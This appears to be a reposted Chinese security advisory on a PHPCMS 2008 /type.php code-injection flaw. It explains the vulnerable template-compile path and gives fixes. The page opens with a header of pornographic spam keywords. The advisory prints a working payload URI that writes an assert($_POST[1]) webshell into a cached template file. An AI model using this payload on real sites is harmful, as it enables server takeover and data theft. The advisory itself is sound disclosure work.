日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警

發(fā)布時間:2024/8/23 php 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

11月4日,阿里云安全首次捕獲PHPCMS 2008版本的/type.php遠(yuǎn)程GetShell 0day利用攻擊,攻擊者可以利用該漏洞遠(yuǎn)程植入webshell,導(dǎo)致文件篡改、數(shù)據(jù)泄漏、服務(wù)器被遠(yuǎn)程控制等一系列嚴(yán)重問題。建議受影響用戶盡快升級到最新版本修復(fù)。

———————
PHPCMS網(wǎng)站內(nèi)容管理系統(tǒng)是國內(nèi)主流CMS系統(tǒng)之一,同時也是一個開源的PHP開發(fā)框架。

PHPCMS最早于2008年推出,最新版已出到v9.6.3,但由于穩(wěn)定、靈活、開源的特性,時至今日,PHPCMS2008版本仍被許多網(wǎng)站所使用。

漏洞細(xì)節(jié)

當(dāng)攻擊者向安裝有PHPCMS 2008的網(wǎng)站發(fā)送uri為如下文本的payload

/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

那么@unlink(_FILE_);assert($_POST[1]);這句惡意php指令將被寫入網(wǎng)站的/cache_template/rss.tpl.php文件。

漏洞原理

該漏洞源于PHPCMS 2008源碼中的/type.php文件。該文件包含如下代碼:

if(empty($template)) $template = 'type'; ... include template('phpcms', $template);

這里template變量是用戶能夠通過傳入?yún)?shù)控制的,同時可以看到該變量之后會被傳入template()方法。而template()方法在/include/global.func.php文件中定義,包含如下代碼:
template_compile($module, $template, $istag);

不難看出,這里會繼續(xù)調(diào)用/include/template.func.php中的template_compile():

function template_compile($module, $template, $istag = 0) {...$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);$strlen = file_put_contents($compiledtplfile, $content);... }

在這個方法中,template變量同時被用于compiledtplfile變量中文件路徑的生成,和content變量中文件內(nèi)容的生成。

而前文所述的攻擊payload將template變量被設(shè)置為如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

所以在template_compile()方法中,調(diào)用file_put_contents()函數(shù)時的第一個參數(shù)就被寫成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php,這將被php解析成data/cache_template/rss.tpl.php。

最終,@unlink(_FILE_);assert($_POST[1]);將被寫入該文件。

影響范圍

雖然距離PHPCMS2008版本的推出已經(jīng)10年,但仍有不少網(wǎng)站正在使用PHPCMS2008,包括政府、企業(yè)的網(wǎng)站;根據(jù)Fofa網(wǎng)絡(luò)空間安全搜索引擎的全網(wǎng)精確搜索結(jié)果顯示,還有近200個使用PHPCMS2008版本的網(wǎng)站;而如果使用模糊匹配對網(wǎng)站進(jìn)行識別,匹配結(jié)果更達(dá)上萬個。

通過利用該漏洞,攻擊者在向路徑可控的文件寫入惡意腳本代碼后,后續(xù)將能夠向該文件發(fā)送webshell指令,在服務(wù)器上執(zhí)行任意代碼,因此該代碼注入漏洞的影響較大。

安全建議

手動修復(fù)
臨時解決可以在/type.php文件中對template變量進(jìn)行過濾,避免用戶輸入的含有"("、"{"等符號的內(nèi)容混入,并被當(dāng)做路徑和腳本內(nèi)容處理。

但由于PHPCMS2008版本過舊,用戶應(yīng)盡量升級到最新版本的PHPCMS,才能夠更好地保障安全。

安全加固
?云防火墻已支持對該類漏洞的入侵防御,開啟云防火墻IPS攔截模式和虛擬補(bǔ)丁功能,用戶即使不自行進(jìn)行修復(fù),也依然能夠進(jìn)行防御和攔截。
?購買安全管家服務(wù),您將能夠在阿里云安全專家指導(dǎo)下進(jìn)行安全加固及優(yōu)化,避免系統(tǒng)受到該漏洞及后續(xù)其他漏洞影響。

?


原文鏈接
本文為云棲社區(qū)原創(chuàng)內(nèi)容,未經(jīng)允許不得轉(zhuǎn)載。

總結(jié)

以上是生活随笔為你收集整理的CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。